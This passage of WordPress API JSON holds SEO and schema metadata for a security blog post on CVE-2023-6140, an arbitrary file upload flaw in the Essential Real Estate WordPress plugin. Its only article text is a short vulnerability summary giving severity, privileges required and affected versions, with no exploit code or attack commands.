Plugin\",\"author\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/author\\\/admin\\\/#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#organization\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/image-5.png\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#articleImage\"},\"datePublished\":\"2025-04-07T09:13:26+00:00\",\"dateModified\":\"2025-08-07T11:09:38+00:00\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/#webpage\"},\"articleSection\":\"Uncategorized, Rce\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/category\\\/uncategorized\\\/#listItem\",\"name\":\"Uncategorized\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/category\\\/uncategorized\\\/#listItem\",\"position\":2,\"name\":\"Uncategorized\",\"item\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/category\\\/uncategorized\\\/\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/#listItem\",\"name\":\"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/#listItem\",\"position\":3,\"name\":\"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/category\\\/uncategorized\\\/#listItem\",\"name\":\"Uncategorized\"}}]},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#organization\",\"name\":\"Ameeba Blog\",\"description\":\"Your Guide to a Safer Digital World.\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/wp-content\\\/uploads\\\/2025\\\/02\\\/image-5.png\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/#organizationLogo\"},\"image\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/#organizationLogo\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/author\\\/admin\\\/#author\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/author\\\/admin\\\/\",\"name\":\"Ameeba\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/ead225eeac23a6207666b4137a84523c6b550501a7ee49c81559ebd727825560?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Ameeba\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/#webpage\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/\",\"name\":\"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin - Ameeba Blog\",\"description\":\"Vulnerability Summary CVE ID: CVE-2023-6140 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low (Subscriber+) User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Essential Real Estate WordPress Plugin Versions \\u2264 4.3.5 How the Exploit Works The Essential Real Estate plugin for WordPress fails to adequately validate file\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\\\/#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/author\\\/admin\\\/#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/author\\\/admin\\\/#author\"},\"datePublished\":\"2025-04-07T09:13:26+00:00\",\"dateModified\":\"2025-08-07T11:09:38+00:00\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/\",\"name\":\"Ameeba Blog\",\"description\":\"Your Guide to a Safer Digital World.\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.ameeba.com\\\/blog\\\/#organization\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin - Ameeba Blog","description":"Vulnerability Summary CVE ID: CVE-2023-6140 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low (Subscriber+) User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Essential Real Estate WordPress Plugin Versions \u2264 4.3.5 How the Exploit Works The Essential Real Estate plugin for WordPress fails to adequately validate file","canonical_url":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/#blogposting","name":"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin - Ameeba Blog","headline":"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin","author":{"@id":"https:\/\/www.ameeba.com\/blog\/author\/admin\/#author"},"publisher":{"@id":"https:\/\/www.ameeba.com\/blog\/#organization"},"image":{"@type":"ImageObject","url":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","@id":"https:\/\/www.ameeba.com\/blog\/#articleImage"},"datePublished":"2025-04-07T09:13:26+00:00","dateModified":"2025-08-07T11:09:38+00:00","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/#webpage"},"isPartOf":{"@id":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/#webpage"},"articleSection":"Uncategorized, Rce"},{"@type":"BreadcrumbList","@id":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/#listItem","position":1,"name":"Home","item":"https:\/\/www.ameeba.com\/blog\/","nextItem":{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/#listItem","name":"Uncategorized"}},{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/#listItem","position":2,"name":"Uncategorized","item":"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/","nextItem":{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/#listItem","name":"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin"},"previousItem":{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/#listItem","position":3,"name":"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin","previousItem":{"@type":"ListItem","@id":"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/#listItem","name":"Uncategorized"}}]},{"@type":"Organization","@id":"https:\/\/www.ameeba.com\/blog\/#organization","name":"Ameeba Blog","description":"Your Guide to a Safer Digital World.","url":"https:\/\/www.ameeba.com\/blog\/","logo":{"@type":"ImageObject","url":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","@id":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/#organizationLogo"},"image":{"@id":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/#organizationLogo"}},{"@type":"Person","@id":"https:\/\/www.ameeba.com\/blog\/author\/admin\/#author","url":"https:\/\/www.ameeba.com\/blog\/author\/admin\/","name":"Ameeba","image":{"@type":"ImageObject","@id":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/ead225eeac23a6207666b4137a84523c6b550501a7ee49c81559ebd727825560?s=96&d=mm&r=g","width":96,"height":96,"caption":"Ameeba"}},{"@type":"WebPage","@id":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/#webpage","url":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/","name":"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin - Ameeba Blog","description":"Vulnerability Summary CVE ID: CVE-2023-6140 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low (Subscriber+) User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Essential Real Estate WordPress Plugin Versions \u2264 4.3.5 How the Exploit Works The Essential Real Estate plugin for WordPress fails to adequately validate file","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/www.ameeba.com\/blog\/#website"},"breadcrumb":{"@id":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/#breadcrumblist"},"author":{"@id":"https:\/\/www.ameeba.com\/blog\/author\/admin\/#author"},"creator":{"@id":"https:\/\/www.ameeba.com\/blog\/author\/admin\/#author"},"datePublished":"2025-04-07T09:13:26+00:00","dateModified":"2025-08-07T11:09:38+00:00"},{"@type":"WebSite","@id":"https:\/\/www.ameeba.com\/blog\/#website","url":"https:\/\/www.ameeba.com\/blog\/","name":"Ameeba Blog","description":"Your Guide to a Safer Digital World.","inLanguage":"en-US","publisher":{"@id":"https:\/\/www.ameeba.com\/blog\/#organization"}}]},"og:locale":"en_US","og:site_name":"Ameeba Blog - Your Guide to a Safer Digital World.","og:type":"article","og:title":"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin - Ameeba Blog","og:description":"Vulnerability Summary CVE ID: CVE-2023-6140 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low (Subscriber+) User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Essential Real Estate WordPress Plugin Versions \u2264 4.3.5 How the Exploit Works The Essential Real Estate plugin for WordPress fails to adequately validate file","og:url":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/","og:image":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","og:image:secure_url":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png","article:published_time":"2025-04-07T09:13:26+00:00","article:modified_time":"2025-08-07T17:09:38+00:00","twitter:card":"summary_large_image","twitter:title":"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin - Ameeba Blog","twitter:description":"Vulnerability Summary CVE ID: CVE-2023-6140 Severity: High (CVSS 3.1 Score: 8.8) Attack Vector: Network Privileges Required: Low (Subscriber+) User Interaction: None Impact: Remote Code Execution (RCE) Affected Products Product Affected Versions Essential Real Estate WordPress Plugin Versions \u2264 4.3.5 How the Exploit Works The Essential Real Estate plugin for WordPress fails to adequately validate file","twitter:image":"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/02\/image-5.png"},"aioseo_meta_data":{"post_id":"18989","title":null,"description":null,"keywords":null,"keyphrases":{"focus":{"keyphrase":"","score":0,"analysis":{"keyphraseInTitle":{"score":0,"maxScore":9,"error":1}}},"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"BlogPosting","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"limit_modified_date":false,"created":"2025-04-07 09:17:02","updated":"2026-04-05 12:09:29","focus_keyword":null,"additional_keywords":null,"truseo_locale":null,"ai":null,"breadcrumb_settings":null,"seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.ameeba.com\/blog\/\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/\" title=\"Uncategorized\">Uncategorized<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">\u00bb<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tCVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/www.ameeba.com\/blog\/"},{"label":"Uncategorized","link":"https:\/\/www.ameeba.com\/blog\/category\/uncategorized\/"},{"label":"CVE-2023-6140: Arbitrary File Upload Vulnerability in Essential Real Estate WordPress Plugin","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/"}],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/18989","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=18989"}],"version-history":[{"count":0,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/18989\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=18989"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=18989"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=18989"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=18989"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=18989"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=18989"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=18989"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=18989"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=18989"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}